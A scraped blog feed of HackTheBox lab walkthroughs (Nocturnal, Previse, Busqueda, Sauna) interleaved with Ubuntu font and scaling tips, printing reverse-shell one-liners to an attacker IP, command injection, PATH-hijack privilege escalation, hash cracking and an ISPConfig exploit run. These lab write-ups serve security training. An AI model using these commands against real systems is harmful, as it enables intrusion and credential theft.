Lines: 129, Duration: 84ms]tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 86ms]:: Progress: [10177/10177] :: Job [1/1] :: 452 req/sec :: Duration: [0:00:22] :: Errors: 0 ::

越权

访问fuzz出的用户名，在amanda账户下可以看到privacy.odt

下载并使用LibreOffice 打开可以找到密码

使用amanda 登录，可以跳转到admin pannel，有备份功能

下载备份文件

代码审计

在admin.php中创建备份设置密码参数直接拼接进命令中，所以存在命令注入

<...><?phpif (isset($_POST['backup']) && !empty($_POST['password'])) {    $password = cleanEntry($_POST['password']);    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";    if ($password === false) {        echo "<div class='error-message'>Error: Try another password.</div>";    } else {        $logFile = '/tmp/backup_' . uniqid() . '.log';               $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";                $descriptor_spec = [            0 => ["pipe", "r"], // stdin            1 => ["file", $logFile, "w"], // stdout            2 => ["file", $logFile, "w"], // stderr        ];        $process = proc_open($command, $descriptor_spec, $pipes);        if (is_resource($process)) {            proc_close($process);        }<...>

命令注入

可以看到执行id命令成功

下载反弹shell的脚本

执行脚本

成功接收到shell

$ nc -lvnp 9001                          Listening on 0.0.0.0 9001Connection received on 10.10.11.64 40554/bin/sh: 0: can't access tty; job control turned off$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)

信息收集

在/var/www 目录下可以找到ispconfig文件和nocturnal_database.db并且存在密码hash，在home目录下存在用户tobias

$ pwd/var/www/nocturnal.htb$ cd ..$ lshtmlispconfignocturnal.htbnocturnal_databasephp-fcgi-scripts$ strings nocturnal_database.db SQLite format 3<...>indexsqlite_autoindex_users_1usersMtestrefe8de352cd483af54ec60595508e54e,Madmin123e6e061838856bf47e1de730719fb2609(Mtest098f6bcd4621d373cade4e832627b4f6)Me0Al5101ad4543a96a7fd84908fd0d802e7db(Mkavif38cde1654b39fea2bd4f72f1ae4cdda*Mtobias55c82b1ccd55ab219b3b109b07d5061d*Mamandadf8b20aa0c935023f99ea58358fb63c4)Madmind725aeba143f575736b07e045d8ceebbtestradmin123teste0Al5kavitobiasamanda<...>$ ls /hometobias

密码破解

使用hashcat 破解密码

$ hashcat hash -a 0 -m 0  /opt/secLists/rockyou.txt    hashcat (v6.2.6) starting<...>Dictionary cache built:* Filename..: /opt/secLists/rockyou.txt* Passwords.: 14344391* Bytes.....: 139921497* Keyspace..: 14344384* Runtime...: 0 secs55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse                                                               Session..........: hashcatStatus...........: CrackedHash.Mode........: 0 (MD5)Hash.Target......: 55c82b1ccd55ab219b3b109b07d5061dTime.Started.....: Sat Apr 19 21:41:24 2025 (1 sec)Time.Estimated...: Sat Apr 19 21:41:25 2025 (0 secs)Kernel.Feature...: Pure KernelGuess.Base.......: File (/opt/secLists/rockyou.txt)Guess.Queue......: 1/1 (100.00%)Speed.#1.........: 14555.5 kH/s (0.17ms) @ Accel:1024 Loops:1 Thr:1 Vec:16Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)Progress.........: 3702784/14344384 (25.81%)Rejected.........: 0/3702784 (0.00%)Restore.Point....: 3686400/14344384 (25.70%)Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1Candidate.Engine.: Device GeneratorCandidates.#1....: smartpimps -> slaton01Hardware.Mon.#1..: Temp: 62c Util:  6%Started: Sat Apr 19 21:41:09 2025Stopped: Sat Apr 19 21:41:25 2025

权限提升

使用破解出的密码登录ssh，可以找到ispconfig服务运行在8080

$ ssh tobias@nocturnal.htb                                                                                                                              tobias@nocturnal.htb's password: <...>Last login: Sat Apr 19 13:24:43 2025 from 10.10.16.24tobias@nocturnal:~$ whoamitobiastobias@nocturnal:~$ iduid=1000(tobias) gid=1000(tobias) groups=1000(tobias)tobias@nocturnal:/var/www$ ls -latotal 24drwxr-xr-x  6 ispconfig ispconfig 4096 Apr 14 09:26 .drwxr-xr-x 14 root      root      4096 Oct 18  2024 ..drwxr-xr-x  2 root      root      4096 Mar  4 15:02 htmllrwxrwxrwx  1 root      root        34 Oct 17  2024 ispconfig -> /usr/local/ispconfig/interface/webdrwxr-xr-x  2 www-data  www-data  4096 Apr 19 09:22 nocturnal_databasedrwxr-xr-x  4 www-data  www-data  4096 Apr 19 13:20 nocturnal.htbdrwxr-xr-x  4 ispconfig ispconfig 4096 Oct 17  2024 php-fcgi-scriptstobias@nocturnal:/var/www$ sudo -l[sudo] password for tobias: Sorry, user tobias may not run sudo on nocturnal.tobias@nocturnal:/var/www$ ss -auntNetid           State            Recv-Q           Send-Q                     Local Address:Port                      Peer Address:Port           Process           udp             UNCONN           0                0                          127.0.0.53%lo:53                             0.0.0.0:*                                tcp             LISTEN           0                10                             127.0.0.1:25                             0.0.0.0:*                                tcp             LISTEN           0                70                             127.0.0.1:33060                          0.0.0.0:*                                tcp             LISTEN           0                151                            127.0.0.1:3306                           0.0.0.0:*                                tcp             LISTEN           0                10                             127.0.0.1:587                            0.0.0.0:*                                tcp             LISTEN           0                4096                           127.0.0.1:8080                           0.0.0.0:*                                tcp             LISTEN           0                511                              0.0.0.0:80                             0.0.0.0:*                                tcp             LISTEN           0                4096                       127.0.0.53%lo:53                             0.0.0.0:*                                tcp             LISTEN           0                128                              0.0.0.0:22                             0.0.0.0:*                                tcp             ESTAB            0                36                           10.10.11.64:22                         10.10.16.24:41832                            tcp             ESTAB            0                0                            10.10.11.64:40554                      10.10.16.24:9001                             tcp             LISTEN           0                128                                 [::]:22                                [::]:*

使用ssh 进行本地端口转发ssh tobias@nocturnal.htb -L 8081:127.0.0.1:8080

访问本地8081端口，可以看到ispconfig

使用admin和破解出的密码的登录，登录成功，找到版本号为3.2.10p1

搜索exp，找到CVE-2023-46818，在github检索利用脚本

提权成功

$ python3 exploit.py http://127.0.0.1:8081 admin slowmotionapocalypse[+] Target URL: http://127.0.0.1:8081/[+] Logging in with username 'admin' and password 'slowmotionapocalypse'[+] Injecting shell[+] Launching shellispconfig-shell# iduid=0(root) gid=0(root) groups=0(root)ispconfig-shell# cat /root/root.txt
FlagPath
Flag1/home/tobias/user.txt
Flag2/root/root.txt
]]> <style>.amjdbqdkyvyr{zoom:50%;}</style><img src="/posts/5cd9a843/f6a56cec6e9826b4ed124fb4155abc66.png" class="amjdbqdkyvyr"> Ubuntu 24.04 应用、字体及截图模糊解决方案 https://ry0ma24.github.io/posts/4e8c8a3d.html 2025-04-16T15:24:55.000Z 2025-04-25T14:43:44.517Z 背景

Ubuntu 24.04 默认使用Wayland 作为窗口管理器，当 GNOME 桌面设置分数倍缩放后，截图和一些应用会变得模糊，如vscode、Pycharm、typra ，截图更是难崩

解决方案

方法有两个：

1. 使用X11 替换Wayland

修改/etc/gdm3/custom.conf 将 WaylandEnable=false 前面的注释去掉，然后sudo systemctl restart gdm3 重启服务

## See /usr/share/gdm/gdm.schemas for a list of available options.[daemon]# Uncomment the line below to force the login screen to use XorgWaylandEnable=false# Enabling automatic login#  AutomaticLoginEnable = true#  AutomaticLogin = user1# Enabling timed login#  TimedLoginEnable = true#  TimedLogin = user1#  TimedLoginDelay = 10<...>

效果

2. 使用如下命令（没试过，不知道是否有效）

可以开启 Wayland 会话、X11 会话的分数倍缩放，并且在 Wayland 下使用分数倍缩放的时候，应用程序不模糊

gsettings set org.gnome.mutter experimental-features "['scale-monitor-framebuffer', 'x11-randr-fractional-scaling', 'xwayland-native-scaling']"
]]> <h3 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h3><p>Ubuntu 24.04 默认使用Wayland 作为窗口管理器，当 GNOME 桌面设置分数倍缩放后，截图和一些应用会变得模糊，如vscode、Pycharm、typra ，截图更是难崩</p> Ubuntu 24.04 中文字体渲染 https://ry0ma24.github.io/posts/45016815.html 2025-04-16T05:21:00.000Z 2025-04-25T08:44:00.909Z

背景

近期入手了一台2.8k屏幕的新本，安装了ubuntu24.04 在系统语言默认为英文时，中文字体看着非常别扭，有些字体甚至出现半格情况，比如复 ，查了一些资料原因是字体显示优先级的问题，解决方案修改字体优先级即可

解决方案

进入/usr/share/fontconfig/conf.avail 目录，打开64-language-selector-cjk-prefer.conf 文件可以看到CJK (是中文、日文和韩文的字母缩写) 顺序日式中文优先级高于简体中文。直接调换位置将简体中文放到最先。

<?xml version="1.0"?><!DOCTYPE fontconfig SYSTEM "fonts.dtd"><fontconfig>        <alias>                <family>sans-serif</family>                <prefer>                        <family>Noto Sans CJK JP</family>                        <family>Noto Sans CJK KR</family>                        <family>Noto Sans CJK SC</family>                        <family>Noto Sans CJK TC</family>                        <family>Noto Sans CJK HK</family>                </prefer>        </alias>        <alias>                <family>serif</family>                <prefer>                        <family>Noto Serif CJK JP</family>                        <family>Noto Serif CJK KR</family>                        <family>Noto Serif CJK SC</family>                        <family>Noto Serif CJK TC</family>                </prefer>        </alias>        <alias>                <family>monospace</family>                <prefer>                        <family>Noto Sans Mono CJK JP</family>                        <family>Noto Sans Mono CJK KR</family>                        <family>Noto Sans Mono CJK SC</family>                        <family>Noto Sans Mono CJK TC</family>                        <family>Noto Sans Mono CJK HK</family>                </prefer>        </alias></fontconfig>

修改后

<?xml version="1.0"?><!DOCTYPE fontconfig SYSTEM "fonts.dtd"><fontconfig>        <alias>                <family>sans-serif</family>                <prefer>                        <family>Noto Sans CJK SC</family>                        <family>Noto Sans CJK KR</family>                        <family>Noto Sans CJK JP</family>                        <family>Noto Sans CJK TC</family>                        <family>Noto Sans CJK HK</family>                </prefer>        </alias>        <alias>                <family>serif</family>                <prefer>                        <family>Noto Serif CJK SC</family>                        <family>Noto Serif CJK KR</family>                        <family>Noto Serif CJK JP</family>                        <family>Noto Serif CJK TC</family>                </prefer>        </alias>        <alias>                <family>monospace</family>                <prefer>                        <family>Noto Sans Mono CJK SC</family>                        <family>Noto Sans Mono CJK KR</family>                        <family>Noto Sans Mono CJK JP</family>                        <family>Noto Sans Mono CJK TC</family>                        <family>Noto Sans Mono CJK HK</family>                </prefer>        </alias></fontconfig>

效果

]]> <img src="/posts/45016815/image-20250416104913620.png" class=""> HackTheBox 网络延迟优化 https://ry0ma24.github.io/posts/2450b230.html 2025-04-10T12:00:20.000Z 2025-04-25T14:19:11.059Z

1. 优化结果

网络优化前

网络优化后

2. 操作步骤

1.选择节点

最好选择新加坡节点并且选择TCP 443

2. 配置VPN文件

打开下载的VPN配置文件，可以看到远程地址为hackthebox.eu，在配置文件中添加代理，使OpenVPN 通过代理接入hackthebox

http代理：http-proxy ip port

socks5 代理：socks-proxy ip port

3.代理配置

Shadowrocket

节点最好启用新加坡节点和hackthebox保持一致，确保全局路由为配置，后面会修改配置文件

编辑已经启用的配置文件

选中规则并添加

类型选择DOMAIN-KEYWORD 策略选择PROXY 域名填写 hackthebox 这个就是OpenVPN配置文件中那个域名，如果是使用pwnbox的话，可以把htb 添加到域名那栏

注意保存，确保规则有效

打开代理共享，并将地址配置到OpenVPN配置文件中

Clash

在Clash设置中启用虚拟网卡模式 端口设置中打开SOCKS代理端口

打开订阅，右键订阅文件点击编辑规则

在编辑规则中 ：规则类型选择DOMAIN-KEYWORD ，代理策略选择代理组，规则内容填写 hackthebox

代理组的选择取决于订阅，节点依旧选择同地区，注意更新订阅可能会覆盖自定义规则

]]> <img src="/posts/2450b230/image-20250411140726536.png" class=""> HTB-Previse https://ry0ma24.github.io/posts/21913e3f.html 2025-04-04T06:00:17.000Z 2025-04-25T08:44:00.918Z .kvutcturomws{zoom:50%;}
OSDifficulty
LinuxEasy

Nmap Scan

$ nmap 10.10.11.104 -sC -sV -p- -T4 --min-rate 1000 Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-04 14:00 CSTNmap scan report for 10.10.11.104Host is up (0.13s latency).Not shown: 65533 closed tcp ports (reset)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))| http-cookie-flags: |   /: |     PHPSESSID: |_      httponly flag not set| http-title: Previse Login|_Requested resource was login.php|_http-server-header: Apache/2.4.29 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 81.53 seconds

漏洞利用

访问80端口找到一个登录页面

使用burp 抓包查看站点目录，找到一个accounts.php

访问这个accounts.php，发现跳转不过去，可以尝试修改响应包 Location：login.php ，之后跳转到 accounts.php

添加一个新账号，然后登录可以找到站点备份的压缩包

下载并解压在config.php中可以找到mysql的用户名和密码

分析其他php文件，在logs.php 中exec方法中引用了POST全局变量

根据格式直接构造反弹shell，最好使用url 编码

成功反弹shell

$ nc -lnvp 9001                                     listening on [any] 9001 ...connect to [10.10.16.39] from (UNKNOWN) [10.10.11.104] 35844bash: cannot set terminal process group (1500): Inappropriate ioctl for devicebash: no job control in this shellwww-data@previse:/var/www/html$ ididuid=33(www-data) gid=33(www-data) groups=33(www-data)

信息收集

首先生成交互式shell，方便操作mysql，可以在数据库中查询到两条密码hash

www-data@previse:/var/www/html$ script /dev/null -c /bin/bashscript /dev/null -c /bin/bashScript started, file is /dev/nullwww-data@previse:/var/www/html$ mysql -u root -p mysql -u root -p Enter password: mySQL_p@ssw0rd!:)Welcome to the MySQL monitor.  Commands end with ; or \g.Your MySQL connection id is 14Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)Copyright (c) 2000, 2021, Oracle and/or its affiliates.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> show databases;show databases;+--------------------+| Database           |+--------------------+| information_schema || mysql              || performance_schema || previse            || sys                |+--------------------+5 rows in set (0.00 sec)mysql> use previse;use previse;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedmysql> show tables; show tables;+-------------------+| Tables_in_previse |+-------------------+| accounts          || files             |+-------------------+2 rows in set (0.00 sec)mysql> select * from accounts;select * from accounts;+----+----------+------------------------------------+---------------------+| id | username | password                           | created_at          |+----+----------+------------------------------------+---------------------+|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 ||  2 | admin    | $1$🧂llol$uXqzPW6SXUONt.AIOBqLy. | 2025-04-04 05:56:26 |+----+----------+------------------------------------+---------------------+2 rows in set (0.00 sec)

使用John 破解hash 

$ john 1.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-longUsing default input encoding: UTF-8Loaded 2 password hashes with no different salts (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])Will run 8 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusadmin            (?)     ilovecody112235! (?)     2g 0:00:03:00 DONE (2025-04-04 14:57) 0.01108g/s 41100p/s 41100c/s 41210C/s ilovecokey..ilovecody..Use the "--show" option to display all of the cracked passwords reliablySession completed.

使用数据库中的用户名和密码登录ssh

$ ssh m4lwhere@10.10.11.104The authenticity of host '10.10.11.104 (10.10.11.104)' can't be established.ED25519 key fingerprint is SHA256:BF5tg2bhcRrrCuaeVQXikjd8BCPxgLsnnwHlaBo3dPs.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<...>Last login: Fri Jun 18 01:09:10 2021 from 10.10.10.5m4lwhere@previse:~$ iduid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)m4lwhere@previse:~$ lsuser.txt

权限提升

使用sudo -l 查看是否有可以利用的配置，找到一个备份功能的脚本，查看脚本功能很简单就是使用gzip把日志文件归档。

gzip 并不是绝对路径，那可以使用path劫持来提权，进入/tmp 创建一个shell脚本，命名为gzip，内容为

#!/bin/bashbash -i &>/dev/tcp/10.10.16.39/9003 <&1

然后将/tmp 添加到环境变量，最后给脚本添加执行权限，运行脚本

m4lwhere@previse:~$ sudo -l[sudo] password for m4lwhere: User m4lwhere may run the following commands on previse:    (root) /opt/scripts/access_backup.shm4lwhere@previse:~$ cat /opt/scripts/access_backup.sh#!/bin/bash# We always make sure to store logs, we take security SERIOUSLY here# I know I shouldnt run this as root but I cant figure it out programmatically on my account# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's timegzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gzgzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gzm4lwhere@previse:/tmp$ echo $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/binm4lwhere@previse:/tmp$ export PATH=`pwd`:$PATHm4lwhere@previse:/tmp$ nano gzip m4lwhere@previse:/tmp# cat gzip#!/bin/bashbash -i &>/dev/tcp/10.10.16.39/9003 <&1 m4lwhere@previse:/tmp$ chmod +x gzip m4lwhere@previse:/tmp$ sudo /opt/scripts/access_backup.sh

成功反弹shell

$ nc -lnvp 9003listening on [any] 9003 ...connect to [10.10.16.39] from (UNKNOWN) [10.10.11.104] 40558root@previse:/tmp# id      iduid=0(root) gid=0(root) groups=0(root)
FlagPath
Flag1/home/m4lwhere/user.txt
Flag2/root/root.txt
]]> <style>.kvutcturomws{zoom:50%;}</style><img src="/posts/21913e3f/e3c542ada4b134e29e534e3081ef9650.png" class="kvutcturomws"> HTB-Busqueda https://ry0ma24.github.io/posts/d91931aa.html 2025-03-23T02:49:00.000Z 2025-04-25T08:44:00.915Z .xvohoaovtfhf{zoom:50%;}
OSDifficulty
LinuxEasy

Nmap Scan

$ nmap 10.10.11.208  -sC -sV -p- -T4 --min-rate 1000 Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-23 10:49 CSTWarning: 10.10.11.208 giving up on port because retransmission cap hit (6).Nmap scan report for 10.10.11.208Host is up (0.15s latency).Not shown: 65507 closed tcp ports (reset), 26 filtered tcp ports (no-response)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)80/tcp open  http    Apache httpd 2.4.52|_http-title: Did not follow redirect to http://searcher.htb/|_http-server-header: Apache/2.4.52 (Ubuntu)Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 127.64 seconds

访问80端口，自动跳转到http://searcher.htb ,添加本地域名解析

$ echo '10.10.11.208  searcher.htb' | sudo tee -a /etc/hosts

抓包触发报错，在报错信息种可以找到版本号

漏洞利用

通过找到的版本号检索漏洞

$ ./exploit.sh searcher.htb 10.10.16.39 9001  ---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---[*] Input target is searcher.htb[*] Input attacker is 10.10.16.39:9001[*] Run the Reverse Shell... Press Ctrl+C after successful connection

成功反弹shell

$ nc -lvnp 9001 listening on [any] 9001 ...connect to [10.10.16.39] from (UNKNOWN) [10.10.11.208] 47162bash: cannot set terminal process group (1620): Inappropriate ioctl for devicebash: no job control in this shellsvc@busqueda:/var/www/app$ ididuid=1000(svc) gid=1000(svc) groups=1000(svc)svc@busqueda:/var/www/app$

信息收集

在/var/www/app/.git/config中可以找到用户名密码和新的域名

svc@busqueda:/var/www/app/.git$ cat configcat config[core]repositoryformatversion = 0filemode = truebare = falselogallrefupdates = true[remote "origin"]url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.gitfetch = +refs/heads/*:refs/remotes/origin/*[branch "main"]remote = originmerge = refs/heads/main

,添加本地域名解析

echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts

权限提升

使用获取到的密码和svc用户登录ssh，发现可以登录成功，查找sudo 配置，可以找到一个Python脚本

 ssh svc@10.10.11.208The authenticity of host '10.10.11.208 (10.10.11.208)' can't be established.ED25519 key fingerprint is SHA256:LJb8mGFiqKYQw3uev+b/ScrLuI4Fw7jxHJAoaLVPJLA.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '10.10.11.208' (ED25519) to the list of known hosts.svc@10.10.11.208's password: Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64) * Documentation:  https://help.ubuntu.com * Management:     https://landscape.canonical.com * Support:        https://ubuntu.com/advantage<...>The list of available updates is more than a week old.To check for new updates run: sudo apt updateLast login: Tue Apr  4 17:02:09 2023 from 10.10.14.19svc@busqueda:~$ sudo -l[sudo] password for svc: Matching Defaults entries for svc on busqueda:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,    use_ptyUser svc may run the following commands on busqueda:    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

尝试运行脚本，支持三个命令

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3  /opt/scripts/system-checkup.py *Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)     docker-ps     : List running docker containers     docker-inspect : Inpect a certain docker container     full-checkup  : Run a full system checkup

使用 docker-inspect 查找环境配置，可以找到一条密码

svc@busqueda:~$ sudo /usr/bin/python3  /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq<...>"Env": [      "USER_UID=115",      "USER_GID=121",      "GITEA__database__DB_TYPE=mysql",      "GITEA__database__HOST=db:3306",      "GITEA__database__NAME=gitea",      "GITEA__database__USER=gitea",      "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",      "USER=git",      "GITEA_CUSTOM=/data/gitea"    ],    "Cmd": [      "/bin/s6-svscan",      "/etc/s6"    ],    "Image": "gitea/gitea:latest",<...>

先使用cody 登录gitea 可以找到另一个用户是administrator，使用找到的密码登录gitea administrator：yuiu1hoiu4i5ho1uh

分析代码· arg_list = ['./full-checkup.sh'] 使用的是相对路径

#!/bin/bashimport subprocessimport sysactions = ['full-checkup', 'docker-ps','docker-inspect']def run_command(arg_list):    r = subprocess.run(arg_list, capture_output=True)    if r.stderr:        output = r.stderr.decode()    else:        output = r.stdout.decode()    return outputdef process_action(action):    if action == 'docker-inspect':        try:            _format = sys.argv[2]            if len(_format) == 0:                print(f"Format can't be empty")                exit(1)            container = sys.argv[3]            arg_list = ['docker', 'inspect', '--format', _format, container]            print(run_command(arg_list))                 except IndexError:            print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")            exit(1)            except Exception as e:            print('Something went wrong')            exit(1)        elif action == 'docker-ps':        try:            arg_list = ['docker', 'ps']            print(run_command(arg_list))                 except:            print('Something went wrong')            exit(1)    elif action == 'full-checkup':        try:            arg_list = ['./full-checkup.sh']            print(run_command(arg_list))            print('[+] Done!')        except:            print('Something went wrong')            exit(1)            if __name__ == '__main__':    try:        action = sys.argv[1]        if action in actions:            process_action(action)        else:            raise IndexError    except IndexError:        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')        print('')        print('     docker-ps     : List running docker containers')        print('     docker-inspect : Inpect a certain docker container')        print('     full-checkup  : Run a full system checkup')        print('')        exit(1)

使用nano 在/tmp 创建full-checkup.sh 

#!/bin/bashrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.39 9009 >/tmp/f

添加执行权限，然后执行命令

svc@busqueda:/tmp$ chmod +x full-checkup.sh svc@busqueda:/tmp$ sudo /usr/bin/python3  /opt/scripts/system-checkup.py full-checkup

Getshell

$ nc -lnvp 9009listening on [any] 9009 ...connect to [10.10.16.39] from (UNKNOWN) [10.10.11.208] 36396# iduid=0(root) gid=0(root) groups=0(root)# cat /root/root.txt
FlagPath
Flag1/home/svc/user.txt
Flag2/root/root.txt
]]> <style>.xvohoaovtfhf{zoom:50%;}</style><img src="/posts/d91931aa/a6942ab57b6a79f71240420442027334.png" class="xvohoaovtfhf"> HTB-Sauna https://ry0ma24.github.io/posts/5551a214.html 2025-03-22T07:19:10.000Z 2025-04-25T08:44:00.918Z .crvsbelxtpbn{zoom:50%;}
OSDifficulty
WindowsEasy

Nmap Scan

$ nmap 10.10.10.175 -sC -sV -p- -T4 --min-rate 1000  Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-22 15:19 CSTNmap scan report for 10.10.10.175Host is up (0.11s latency).Not shown: 65515 filtered tcp ports (no-response)PORT      STATE SERVICE       VERSION53/tcp    open  domain        Simple DNS Plus80/tcp    open  http          Microsoft IIS httpd 10.0|_http-server-header: Microsoft-IIS/10.0|_http-title: Egotistical Bank :: Home| http-methods: |_  Potentially risky methods: TRACE88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-22 14:03:56Z)135/tcp   open  msrpc         Microsoft Windows RPC139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)445/tcp   open  microsoft-ds?464/tcp   open  kpasswd5?593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0636/tcp   open  tcpwrapped3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)3269/tcp  open  tcpwrapped5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.09389/tcp  open  mc-nmf        .NET Message Framing49667/tcp open  msrpc         Microsoft Windows RPC49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.049674/tcp open  msrpc         Microsoft Windows RPC49677/tcp open  msrpc         Microsoft Windows RPC49695/tcp open  msrpc         Microsoft Windows RPC49717/tcp open  msrpc         Microsoft Windows RPCService Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-time: |   date: 2025-03-22T14:04:50|_  start_date: N/A|_clock-skew: 6h41m33s| smb2-security-mode: |   3:1:1: |_    Message signing enabled and requiredService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 278.88 seconds

信息收集

访问80端口发现一个网站，在/about 上可以看到一些用户名

收集页面上的用户名

Fergus SmithShaun CoinsHugo BearBowie TaylorSophie DriverSteven Kerb

根据用户名重新生成用户名组合

$ ./username-anarchy --input-file user.txt --select-format first,flast,first.last firstl > username.txt    
firstlfergusfergus.smithfsmithshaunshaun.coinsscoinshugohugo.bearhbearbowiebowie.taylorbtaylorsophiesophie.driversdriverstevensteven.kerbskerb

AS-REP Roasting

使用 impacket-GetNPUsers 

$ impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.10.10.175 -usersfile username.txt -no-pass Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:139d477d158ddd194616ff3f5568be1a$30b7b9edf20400313d31252b04ee37223a106f79c2d7432fe6f0bf421560f31c7fc566ae368e479428ae09f12a5f86926427ac033248ff05f0ef514574ebd4721f533c79add45bd1b010903e58fb3aeca94f58333811b69ef70346ad227828e5fa36a7d54f4534c51830e7746b5ae87c75dc5c9c4813161eda621fec33235f4872488395fb674c0a154d4fe83892cb301bbaefcef1c3c4ff287e2a4f7903807d08694adcf89d7eb820afaf3ab45440ff68b1bb99385cc8ded853bce4908e7b1e1d669d9f82aca5020be559f060559e78828f3f33c48a4051aef7b8316caa375498b544290d032baf45db2d62e0779ee44f9fb0589ec46f44418ecc0399b16703[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)<...>

使用hashcat 破解

